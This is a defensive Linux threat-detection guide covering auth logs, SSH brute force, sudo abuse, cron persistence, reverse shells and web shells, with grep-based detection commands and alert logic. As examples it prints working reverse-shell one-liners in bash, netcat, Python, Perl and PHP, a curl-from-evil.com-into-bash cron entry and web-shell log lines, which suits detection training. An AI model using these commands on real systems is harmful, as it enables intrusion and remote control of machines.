

04 - Linux Detection

1: Linux Log Files Basics

Critical Linux Log Files

Log File	What It Contains	Distro
/var/log/auth.log	Authentication logs	Ubuntu/Debian
/var/log/secure	Authentication logs	RHEL/CentOS
/var/log/syslog	System messages	Ubuntu/Debian
/var/log/messages	System messages	RHEL/CentOS
/var/log/cron	Cron job logs	All
/var/log/apache2/	Web server logs	Apache
/var/log/nginx/	Web server logs	Nginx

/var/log/auth.log (Authentication)

What's Logged Here:

-  SSH logins (success/fail)
-  sudo usage
-  su (switch user)
-  User creation/deletion
-  Password changes
-  PAM authentication events

2: SSH Brute Force & Sudo Abuse

1) SSH Brute Force Detection

What It Looks Like:

```
# Multiple failed attempts from same IP 🚨
Mar 15 10:23:45 server sshd[1001]: Failed password for root from 45.142.212.61 port 43221
ssh2
Mar 15 10:23:46 server sshd[1002]: Failed password for root from 45.142.212.61 port 43222
ssh2
Mar 15 10:23:47 server sshd[1003]: Failed password for root from 45.142.212.61 port 43223
```

```
ssh2
Mar 15 10:23:48 server sshd[1004]: Failed password for root from 45.142.212.61 port 43224
ssh2
... (hundreds of attempts)
Mar 15 10:30:22 server sshd[1105]: Accepted password for root from 45.142.212.61 port
43350 ssh2 🚨
```

Detection Commands:

```
# Find all failed SSH attempts
grep "Failed password" /var/log/auth.log

# Count failures by IP (Top attackers)
grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort
-rn | head

# Output example:
# 523 45.142.212.61
# 234 103.45.67.89
# 45 192.168.1.50

# Find successful login AFTER failures (Successful attack!)
grep -E "(Failed|Accepted) password" /var/log/auth.log | grep "45.142.212.61"
```

Detection Logic:

IF:

- "Failed password" messages
- Same source IP
- Count > 10 in 5 minutes
- THEN "Accepted password" from same IP 🚨

THEN:

- ALERT: SSH Brute Force (Successful)

2) Invalid User Attempts

What It Looks Like:

```
# Attacker guessing usernames 🚨
Mar 15 10:23:45 server sshd[1001]: Invalid user admin from 45.142.212.61
Mar 15 10:23:46 server sshd[1002]: Invalid user test from 45.142.212.61
Mar 15 10:23:47 server sshd[1003]: Invalid user guest from 45.142.212.61
Mar 15 10:23:48 server sshd[1004]: Invalid user oracle from 45.142.212.61
```

Detection Command:

```
# Find invalid user attempts
grep "Invalid user" /var/log/auth.log

# Count by IP
grep "Invalid user" /var/log/auth.log | awk '{print $(NF-2)}' | sort | uniq -c | sort -rn
```

3) Sudo Abuse Detection

Normal Sudo Usage:

```
# Legitimate admin activity 
Mar 15 10:25:00 server sudo: john : TTY=pts/0 ; PWD=/home/john ; USER=root ;
COMMAND=/bin/systemctl restart nginx
```

Suspicious Sudo Patterns:

```
# Pattern 1: User NOT in sudoers (unauthorized attempt)
Mar 15 10:25:30 server sudo: hacker : user NOT in sudoers ; TTY=pts/1 ; COMMAND=/bin/su

# Pattern 2: Sudo to read sensitive files
Mar 15 10:26:00 server sudo: john : COMMAND=/bin/cat /etc/shadow
Mar 15 10:26:05 server sudo: john : COMMAND=/bin/cat /etc/passwd

# Pattern 3: Sudo to spawn shell (privilege escalation)
Mar 15 10:27:00 server sudo: john : COMMAND=/bin/bash
Mar 15 10:27:05 server sudo: john : COMMAND=/bin/sh

# Pattern 4: Multiple sudo failures (password guessing)
Mar 15 10:28:00 server sudo: jane : 3 incorrect password attempts
```

Detection logic:

```
ALERT 1: Unauthorized Sudo Attempt
IF: "NOT in sudoers" in log
THEN: Alert - User trying to gain privileges
```

```
ALERT 2: Sensitive File Access
IF: sudo + (shadow OR passwd OR /etc/ssh)
THEN: Alert - Possible credential theft
```

```
ALERT 3: Shell Spawn via Sudo
IF: sudo + (/bin/bash OR /bin/sh OR su)
THEN: Alert - Privilege escalation attempt
```

3: Cron Persistence Detection

Cron Persistence

Attackers use cron jobs to maintain access - malicious commands run automatically on schedule.

Cron Locations to Monitor:

```
# System-wide cron
/etc/crontab
/etc/cron.d/
/etc/cron.daily/
/etc/cron.hourly/
/etc/cron.weekly/
/etc/cron.monthly/

# User-specific cron
/var/spool/cron/crontabs/    # Debian/Ubuntu
/var/spool/cron/             # RHEL/CentOS
```

Suspicious Cron Patterns:

```
# Pattern 1: Reverse shell in cron 🚨
* * * * * /bin/bash -c 'bash -i >& /dev/tcp/45.142.212.61/4444 0>&1'

# Pattern 2: Download and execute 🚨
*/5 * * * * curl http://evil.com/mal.sh | bash

# Pattern 3: Encoded payload 🚨
0 * * * * echo "YmFzaCAtaSA+JiAvZGV2L3Rj..." | base64 -d | bash

# Pattern 4: Hidden script execution 🚨
* * * * * /tmp/.hidden/backdoor.sh
```

Detection Logic:

```
ALERT IF cron contains:
- /dev/tcp (reverse shell)
- curl | bash (download & execute)
- wget | sh (download & execute)
- base64 -d | bash (encoded execution)
- Files in /tmp or hidden directories
```

4) Reverse Shell Detection

Reverse Shell?

Victim machine connects BACK to attacker, giving attacker remote shell access.

Common Reverse Shell Patterns:

```
# Bash reverse shell
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1

# Netcat reverse shell
nc -e /bin/bash ATTACKER_IP PORT

# Python reverse shell
python -c 'import
socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Perl reverse shell
perl -e 'use
Socket;$i="ATTACKER_IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'

# PHP reverse shell
php -r '$sock=fsockopen("ATTACKER_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
```

Detection Commands:

```
# Find /dev/tcp usage (Bash reverse shell)
grep -r "/dev/tcp" /var/log/ /tmp/ /home/

# Find active network connections (look for suspicious outbound)
netstat -tulpn | grep ESTABLISHED
ss -tulpn | grep ESTABLISHED

# Find processes with network connections
lsof -i -P -n | grep ESTABLISHED

# Search command history
cat /home/*/.bash_history | grep -E "nc|netcat|/dev/tcp|socket"

# Search running processes
ps aux | grep -E "nc -e|bash -i|python -c|perl -e"
```

Detection Logic:

ALERT IF found:

- /dev/tcp in commands or scripts
- nc -e or netcat with -e flag
- Outbound connection on unusual port (4444, 1337, etc.)
- bash/sh spawned by web server (www-data)
- python/perl with socket + exec/subprocess

Web Shell Detection

Web Shell

Malicious script uploaded to web server giving attacker remote command execution via browser.

Common Web Shell Locations:

```
# Apache
/var/www/html/
/var/www/html/uploads/
/var/www/html/images/

# Nginx
/usr/share/nginx/html/

# Common hiding spots
/var/www/html/.hidden.php
/var/www/html/uploads/image.php.jpg
/var/www/html/wp-content/uploads/shell.php
```

Detection Commands:

```
# Find PHP files with dangerous functions
grep -r --include="*.php" -E "
(system|exec|shell_exec|passthru|eval|base64_decode|assert)\s*\(" /var/www/

# Find recently modified PHP files
find /var/www/ -name "*.php" -mtime -7 -ls

# Find PHP files in upload directories
find /var/www/ -path "*upload*" -name "*.php"

# Find hidden PHP files
find /var/www/ -name ".*\*.php"

# Find files with suspicious permissions
```

```
find /var/www/ -name "*.php" -perm -o+w
```

```
# Check web server logs for shell access
```

```
grep -E "cmd=|shell|\.php\?" /var/log/apache2/access.log
```

Web Server Log Analysis:

```
# Normal request 
```

```
192.168.1.100 - - [15/Mar/2024:10:23:45] "GET /index.php HTTP/1.1" 200
```

```
# Web shell access 
```

```
45.142.212.61 - - [15/Mar/2024:10:23:45] "GET /uploads/shell.php?cmd=whoami HTTP/1.1" 200
```

```
45.142.212.61 - - [15/Mar/2024:10:23:50] "GET /uploads/shell.php?cmd=cat+/etc/passwd  
HTTP/1.1" 200
```

```
45.142.212.61 - - [15/Mar/2024:10:23:55] "POST /uploads/shell.php HTTP/1.1" 200
```

Detection Logic:

ALERT IF:

- PHP file in uploads directory
- PHP file contains: eval, system, exec, shell_exec, passthru
- Web logs show: ?cmd= or ?c= or ?exec=
- PHP file created by www-data user
- Hidden PHP file (.shell.php)
- PHP file with unusual extension (shell.php.jpg)